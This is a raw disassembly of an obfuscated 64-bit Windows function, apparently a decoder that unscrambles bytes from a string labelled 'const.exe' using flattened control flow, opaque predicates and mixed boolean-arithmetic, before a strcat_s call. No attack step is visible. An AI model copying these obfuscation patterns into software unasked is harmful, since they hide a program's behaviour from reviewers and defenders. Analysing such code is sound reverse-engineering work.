cmp ecx, 0x65085e3e
jg 0x140020010
cmp ecx, 0x1d8d4cc4
je 0x140020127
cmp ecx, 0x2672463a
jne 0x14001fe80
mov qword [rbp + 0x20], r13
lea rax, str.const.exe
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 1]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov esi, 0x24d16931
cmovne esi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl esi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xce4761e1
jle 0x14001ff80
cmp edx, 0x709d7bc1
je 0x14001ff95
cmp edx, 0x24d16931
je 0x14001ff99
cmp edx, 0xce4761e2
jne 0x14001ff50
mov edx, esi
jmp 0x14001ff50
cmp edx, 0x80aabfb5
je 0x14001ffa0
cmp edx, 0x8740b8f3
jne 0x14001ff50
jmp 0x140020145
mov edx, ebx
jmp 0x14001ff50
mov edx, 0x8740b8f3
jmp 0x14001ff50
mov edx, 0xce4761e2
jmp 0x14001ff50
cmp ecx, 0xc1a1d6dd
jg 0x140020032
cmp ecx, 0x856423ac
je 0x14001fe7b
cmp ecx, 0xaa7869af
jne 0x14001fe80
mov ecx, dword [0x1400610a0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp dword [0x1400610a4], 0xa
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov ecx, 0x856423ac
cmovne ecx, r10d
jmp 0x14001fe80
cmp ecx, 0x65085e3f
je 0x140020237
cmp ecx, 0x7b15e31b
jne 0x14001fe80
mov ecx, 0x2672463a
jmp 0x14001fe80
cmp ecx, 0xf503ca04
jne 0x1400208d2
mov r8, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 7]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x36]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop dword [rax]
cmp edx, 0xce4761e1
jle 0x140020100
cmp edx, 0x709d7bc1
je 0x140020115
cmp edx, 0x24d16931
je 0x140020119
cmp edx, 0xce4761e2
jne 0x1400200d0
mov edx, edi
jmp 0x1400200d0
cmp edx, 0x80aabfb5
je 0x140020120
cmp edx, 0x8740b8f3
jne 0x1400200d0
jmp 0x140020255
mov edx, ebx
jmp 0x1400200d0
mov edx, 0x8740b8f3
jmp 0x1400200d0
mov edx, 0xce4761e2
jmp 0x1400200d0
mov dl, byte [rbp + 0x10]
cmp byte [rbp], 0
mov ecx, 0x856423ac
mov eax, 0xaa7869af
cmovne ecx, eax
test dl, dl
cmovne ecx, eax
jmp 0x14001fe80
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x20]
mov byte [rcx], al
mov r9, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 1]
movabs rbx, 0xc70627a1b2fe433b
sub rbx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rbx, rcx
or rbx, rax
and edx, 0x126
or rdx, rbx
movabs rax, 0x904c2209c248d884
xor rdx, rax
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x140020210
cmp ebx, 0x709d7bc1
je 0x140020225
cmp ebx, 0x24d16931
je 0x140020229
cmp ebx, 0xce4761e2
jne 0x1400201e0
mov ebx, edi
jmp 0x1400201e0
cmp ebx, 0x80aabfb5
je 0x140020230
cmp ebx, 0x8740b8f3
jne 0x1400201e0
jmp 0x140020347
mov ebx, esi
jmp 0x1400201e0
mov ebx, 0x8740b8f3
jmp 0x1400201e0
mov ebx, 0xce4761e2
jmp 0x1400201e0
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x78]
mov ecx, 0x65085e3f
mov eax, 0xc1a1d6de
cmove ecx, eax
jmp 0x14001fe80
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 8]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x39]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
nop
cmp edx, 0xce4761e1
jle 0x140020320
cmp edx, 0x709d7bc1
je 0x140020335
cmp edx, 0x24d16931
je 0x140020339
cmp edx, 0xce4761e2
jne 0x1400202f0
mov edx, edi
jmp 0x1400202f0
cmp edx, 0x80aabfb5
je 0x140020340
cmp edx, 0x8740b8f3
jne 0x1400202f0
jmp 0x140020437
mov edx, ebx
jmp 0x1400202f0
mov edx, 0x8740b8f3
jmp 0x1400202f0
mov edx, 0xce4761e2
jmp 0x1400202f0
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 1], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 2]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ebx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and ebx, 0x126
or rbx, rdx
movabs rax, 0x904c2209c248d884
lea rdx, [rax + 3]
xor rdx, rbx
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x140020410
cmp ebx, 0x709d7bc1
je 0x140020425
cmp ebx, 0x24d16931
je 0x140020429
cmp ebx, 0xce4761e2
jne 0x1400203e0
mov ebx, edi
jmp 0x1400203e0
cmp ebx, 0x80aabfb5
je 0x140020430
cmp ebx, 0x8740b8f3
jne 0x1400203e0
jmp 0x140020527
mov ebx, esi
jmp 0x1400203e0
mov ebx, 0x8740b8f3
jmp 0x1400203e0
mov ebx, 0xce4761e2
jmp 0x1400203e0
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 9]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x38]
xor rcx, rdx
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov ebx, 0x80aabfb5
mov edx, 0xce4761e2
cmove ebx, edx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl ebx, edx
mov edx, 0x709d7bc1
cmp edx, 0xce4761e1
jle 0x140020500
cmp edx, 0x709d7bc1
je 0x140020515
cmp edx, 0x24d16931
je 0x140020519
cmp edx, 0xce4761e2
jne 0x1400204d0
mov edx, edi
jmp 0x1400204d0
cmp edx, 0x80aabfb5
je 0x140020520
cmp edx, 0x8740b8f3
jne 0x1400204d0
jmp 0x140020614
mov edx, ebx
jmp 0x1400204d0
mov edx, 0x8740b8f3
jmp 0x1400204d0
mov edx, 0xce4761e2
jmp 0x1400204d0
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 2], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 3]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ebx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and ebx, 0x126
or rbx, rdx
movabs rax, 0x904c2209c248d884
lea rdx, [rax + 2]
xor rdx, rbx
mov eax, dword [0x1400610a8]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov ebx, 0x709d7bc1
cmp ebx, 0xce4761e1
jle 0x1400205f0
cmp ebx, 0x709d7bc1
je 0x140020602
cmp ebx, 0x24d16931
je 0x140020606
cmp ebx, 0xce4761e2
jne 0x1400205c0
mov ebx, edi
jmp 0x1400205c0
cmp ebx, 0x80aabfb5
je 0x14002060d
cmp ebx, 0x8740b8f3
jne 0x1400205c0
jmp 0x140020640
mov ebx, esi
jmp 0x1400205c0
mov ebx, 0x8740b8f3
jmp 0x1400205c0
mov ebx, 0xce4761e2
jmp 0x1400205c0
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov byte [r8 + 3], al
add r8, 4
mov rax, qword [rbp + 0x20]
add rax, 0x1b
mov qword [rbp + 0x78], rax
mov ecx, 0x65085e3f
jmp 0x14001fe80
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 3], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 4]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea edi, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rcx, 0x8400000112000099
and rdx, rcx
or rdx, rax
and edi, 0x126
or rdi, rdx
movabs rax, 0x904c2209c248d884
lea rbx, [rax + 0x35]
xor rbx, rdi
mov eax, dword [0x1400610a8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edi, 0x24d16931
cmovne edi, r11d
mov esi, 0x80aabfb5
mov ecx, 0xce4761e2
cmove esi, ecx
cmp dword [0x1400610ac], 0xa
mov eax, 0x24d16931
cmovl edi, eax
cmovl esi, ecx
mov edx, 0x709d7bc1
nop dword [rax]
cmp edx, 0xce4761e1
jle 0x140020710
cmp edx, 0x709d7bc1
je 0x140020722
cmp edx, 0x24d16931
je 0x140020726
cmp edx, 0xce4761e2
jne 0x1400206e0
mov edx, edi
jmp 0x1400206e0
cmp edx, 0x80aabfb5
je 0x14002072d
cmp edx, 0x8740b8f3
jne 0x1400206e0
jmp 0x140020734
mov edx, esi
jmp 0x1400206e0
mov edx, 0x8740b8f3
jmp 0x1400206e0
mov edx, 0xce4761e2
jmp 0x1400206e0
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 4], al
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 5]
movabs rdx, 0xc70627a1b2fe433b
sub rdx, rax
lea ecx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rdx, rbx
or rdx, rax
and ecx, 0x126
or rcx, rdx
movabs rax, 0x904c2209c248d884
lea rbx, [rax + 0x34]
xor rbx, rcx
mov edx, 0x709d7bc1
nop word cs:[rax + rax]
cmp edx, 0xce4761e1
jle 0x1400207d0
cmp edx, 0x709d7bc1
je 0x1400207e2
cmp edx, 0x24d16931
je 0x1400207e6
cmp edx, 0xce4761e2
jne 0x1400207a0
mov edx, edi
jmp 0x1400207a0
cmp edx, 0x80aabfb5
je 0x1400207ed
cmp edx, 0x8740b8f3
jne 0x1400207a0
jmp 0x1400207f4
mov edx, esi
jmp 0x1400207a0
mov edx, 0x8740b8f3
jmp 0x1400207a0
mov edx, 0xce4761e2
jmp 0x1400207a0
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov byte [r9 + 5], al
add r9, 6
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x30]
movzx eax, byte [rax + 6]
movabs rcx, 0xc70627a1b2fe433b
sub rcx, rax
lea edx, [rax + 0xc4]
add eax, 0x44
and eax, 0x40
movabs rbx, 0x8400000112000099
and rcx, rbx
or rcx, rax
and edx, 0x126
or rdx, rcx
movabs rax, 0x904c2209c248d884
lea rcx, [rax + 0x37]
xor rcx, rdx
mov edx, 0x709d7bc1
nop
cmp edx, 0xce4761e1
jle 0x140020890
cmp edx, 0x709d7bc1
je 0x1400208a2
cmp edx, 0x24d16931
je 0x1400208a6
cmp edx, 0xce4761e2
jne 0x140020860
mov edx, edi
jmp 0x140020860
cmp edx, 0x80aabfb5
je 0x1400208ad
cmp edx, 0x8740b8f3
jne 0x140020860
jmp 0x1400208b4
mov edx, esi
jmp 0x140020860
mov edx, 0x8740b8f3
jmp 0x140020860
mov edx, 0xce4761e2
jmp 0x140020860
mov qword [rbp + 0x80], rcx
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov ecx, 0xf503ca04
jmp 0x14001fe80
cmp ecx, 0xc1a1d6de
jne 0x14001fe80
mov eax, dword [0x1400610b0]
mov ecx, dword [0x1400610b4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x47]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x46]
or cl, al
mov eax, 0x2de45542
mov ecx, 0x3f4b0d3c
cmovne eax, ecx
mov esi, 0x2de45542
mov ecx, 0x803fe681
cmovne esi, ecx
mov edx, 0x98edbc95
mov ecx, 0x13fe7555
cmovne edx, ecx
mov ecx, 0xe8b4f623
mov r10d, 0x2c58269a
mov r11d, 0xad37266c
jmp 0x140020950
mov qword [rbp + 0x68], r13
mov ecx, eax
nop word cs:[rax + rax]
mov ebx, ecx
cmp ecx, 0x13fe7554
jle 0x140020980
cmp ebx, 0x35c6f2e8
jle 0x1400209b0
mov ecx, esi
cmp ebx, 0x35c6f2e9
je 0x140020950
cmp ebx, 0x3f4b0d3c
jne 0x140020a1a
mov ecx, 0x4be76a07
jmp 0x140020950
cmp ebx, 0xe8b4f622
jg 0x1400209d0
cmp ebx, 0x803fe681
je 0x140020940
mov ecx, ebx
cmp ebx, 0x98edbc95
jne 0x140020950
mov ecx, 0xeb62d4f7
jmp 0x140020950
cmp ebx, 0x13fe7555
je 0x1400209ed
mov ecx, ebx
cmp ebx, 0x2de45542
jne 0x140020950
mov ecx, 0x803fe681
jmp 0x140020950
cmp ebx, 0xe8b4f623
je 0x1400209f7
mov ecx, ebx
cmp ebx, 0xeb62d4f7
jne 0x140020950
mov ecx, edx
jmp 0x140020950
mov ecx, 0x35c6f2e9
jmp 0x140020950
movzx ebx, byte [rbp + 0x47]
cmp byte [rbp + 0x46], 0
mov edi, 0xeb62d4f7
mov ecx, 0xeb62d4f7
jne 0x140020a10
mov ecx, 0x98edbc95
test bl, bl
cmovne ecx, edi
jmp 0x140020950
mov ecx, ebx
cmp ebx, 0x4be76a07
jne 0x140020950
mov r8, qword [rbp + 0x68]
mov ecx, 0x70a26f57
movabs r13, 0xc95f05c714f4c48c
jmp 0x140020a7d
mov rax, qword [rbp + 0x70]
mov cl, byte [rbp + 0x57]
mov byte [r8 + rax], cl
add qword [rbp + 0x70], 1
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf6d5990
mov eax, 0xa6c4d6b6
nop dword [rax]
cmove ecx, eax
cmp dword [0x1400610bc], 0xa
cmovl ecx, eax
cmp ecx, 0xd89b884f
jg 0x140020ad0
cmp ecx, 0xa6c4d6b5
jg 0x140020b30
cmp ecx, 0x953caa95
jg 0x140020bde
cmp ecx, 0x8d87cb0c
je 0x140020cae
cmp ecx, 0x8e0e07d2
je 0x140020d8f
cmp ecx, 0x9287d1a2
jne 0x140020a7d
mov ecx, 0xad4ed955
jmp 0x140020a7d
cmp ecx, 0x4859f319
jle 0x140020ba0
cmp ecx, 0x64896c6d
jg 0x140020c0c
cmp ecx, 0x4859f31a
je 0x140020d99
cmp ecx, 0x520be96e
je 0x140020a3d
cmp ecx, 0x6020ffee
jne 0x140020a7d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6603d04
mov eax, 0xb8fd8704
jmp 0x140020a70
cmp ecx, 0xbe3c61be
jg 0x140020c4e
cmp ecx, 0xa6c4d6b6
je 0x140020da7
cmp ecx, 0xad4ed955
je 0x140020db1
cmp ecx, 0xb8fd8704
jne 0x140020a7d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400610bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov ecx, 0xa6603d04
mov eax, 0x64896c6e
cmovne ecx, eax
jmp 0x140020a7d
cmp ecx, 0xf6d598f
jle 0x140020c8c
cmp ecx, 0xf6d5990
je 0x140020dc7
cmp ecx, 0x279c7981
je 0x140020de4
cmp ecx, 0x29c0fd92
jne 0x140020a7d
mov qword [rbp + 0x10], r8
mov ecx, 0xcaefac04
jmp 0x140020a7d
cmp ecx, 0x953caa96
je 0x140020e0e
cmp ecx, 0xa266d338
je 0x140020e1c
cmp ecx, 0xa6603d04
jne 0x140020a7d
mov ecx, 0xb8fd8704
jmp 0x140020a7d
cmp ecx, 0x64896c6e
je 0x140020e2e
cmp ecx, 0x7540f6d3
je 0x140020e4c
cmp ecx, 0x70a26f57
jne 0x140020a7d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe1a01eb7
mov eax, 0xd6fc427d
jmp 0x140020a70
cmp ecx, 0xbe3c61bf
je 0x140020e69
cmp ecx, 0xd6fc427d
jne 0x140020ee4
lea rax, [rbp + 0x70]
mov qword [rbp + 8], rax
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe1a01eb7
mov eax, 0x9287d1a2
jmp 0x140020a70
cmp ecx, 0xd89b8850
je 0x140020e7f
cmp ecx, 0xe1a01eb7
jne 0x140020a7d
mov ecx, 0xd6fc427d
jmp 0x140020a7d
mov rax, qword [rbp + 0x20]
movzx r9d, byte [rax]
mov rdx, qword [rbp]
movabs rax, 0x2cb5fa569d49641c
add rdx, rax
mov eax, dword [0x1400610c0]
lea ebx, [rax - 1]
imul ebx, eax
test bl, 1
sete byte [rbp + 0x44]
mov ebx, dword [0x1400610c4]
mov eax, 0x1dbe921a
cmove eax, r10d
cmp ebx, 0xa
setl byte [rbp + 0x8f]
cmovl eax, r10d
mov ebx, 0xf1b37c81
nop dword [rax]
cmp ebx, 0x1dbe9219
jg 0x140020d40
cmp ebx, 0xad37266c
je 0x140020d6f
cmp ebx, 0xf16291ed
je 0x140020eba
cmp ebx, 0xf1b37c81
jne 0x140020d00
movzx ecx, byte [rbp + 0x44]
cmp byte [rbp + 0x8f], 0
mov ebx, 0x1dbe921a
cmovne ebx, r11d
test cl, cl
cmovne ebx, r11d
jmp 0x140020d00
cmp ebx, 0x1dbe921a
je 0x140020d7b
cmp ebx, 0x2c58269a
je 0x140020d85
cmp ebx, 0x34a63efa
jne 0x140020d00
mov rdi, qword [rbp + 0x30]
add rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x30]
and rsi, qword [rbp + 0x28]
mov ebx, 0xf16291ed
jmp 0x140020d00
mov qword [rbp + 0x30], r9
mov qword [rbp + 0x28], rdx
mov ebx, eax
jmp 0x140020d00
mov ebx, 0xad37266c
jmp 0x140020d00
mov ebx, 0x34a63efa
jmp 0x140020d00
mov ecx, 0xbe3c61bf
jmp 0x140020a7d
mov rax, qword [rbp + 8]
mov ecx, 0x29c0fd92
jmp 0x140020a7d
mov ecx, 0xa266d338
jmp 0x140020a7d
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], 0
mov ecx, 0xa266d338
jmp 0x140020a7d
mov rax, qword [rbp + 0x70]
mov cl, byte [rbp + 0x57]
mov byte [r8 + rax], cl
add qword [rbp + 0x70], 1
mov ecx, 0x520be96e
jmp 0x140020a7d
mov rax, qword [rbp + 0x58]
cmp rax, 0x1b
setb byte [rbp + 0x45]
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x953caa96
mov eax, 0x8e0e07d2
jmp 0x140020a70
mov rax, qword [rbp + 0x58]
mov ecx, 0x279c7981
jmp 0x140020a7d
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov ecx, 0xd89b8850
jmp 0x140020a7d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf6d5990
mov eax, 0x520be96e
jmp 0x140020a70
mov rax, qword [rbp + 0x70]
mov qword [rbp], rax
mov rax, qword [rbp + 0x70]
add rax, r8
mov qword [rbp + 0x20], rax
mov ecx, 0x8d87cb0c
jmp 0x140020a7d
cmp byte [rbp + 0x45], 0
mov ecx, 0x4859f31a
mov eax, 0x7540f6d3
cmovne ecx, eax
jmp 0x140020a7d
mov eax, dword [0x1400610b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400610bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov ecx, 0x953caa96
mov eax, 0x279c7981
cmovne ecx, eax
jmp 0x140020a7d
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
add eax, eax
mov rcx, qword [rbp + 0x78]
sub ecx, eax
add cl, 0x3c
mov byte [rbp + 0x57], cl
mov ecx, 0x6020ffee
jmp 0x140020a7d
cmp ecx, 0xcaefac04
jne 0x140020a7d
mov r8, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x20]
mov eax, dword [0x1400610c8]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x78]
mov edx, dword [0x1400610cc]
mov eax, 0x7343c513
mov ebx, 0x36c7c5a3
cmove eax, ebx
cmp edx, 0xa
setl byte [rbp + 0x80]
cmovl eax, ebx
mov edx, 0x9ceb1f5d
cmp edx, 0x52e5d915
jg 0x140020f60
cmp edx, 0x9ceb1f5d
je 0x140020f7f
cmp edx, 0x180a4ea5
je 0x140020f9e
cmp edx, 0x36c7c5a3
jne 0x140020f30
mov edx, 0x180a4ea5
jmp 0x140020f30
cmp edx, 0x52e5d916
je 0x140020fb0
cmp edx, 0x5c35b9c1
je 0x140020fa5
cmp edx, 0x7343c513
jne 0x140020f30
mov edx, 0x5c35b9c1
jmp 0x140020f30
movzx ebx, byte [rbp + 0x78]
cmp byte [rbp + 0x80], 0
mov edx, 0x7343c513
mov edi, 0x5c35b9c1
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x140020f30
mov edx, 0x52e5d916
jmp 0x140020f30
mov edx, eax
jmp 0x140020f30
sub rsp, 0x20
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add rsp, 0x20
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b2333b7
mov ecx, 0x8b21b3b4
cmove eax, ecx
cmp dword [0x14006107c], 0xa
cmovl eax, ecx
jmp 0x1400010ac
movaps xmm6, xmmword [rbp + 0x90]
lea rsp, [rbp + 0xa8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret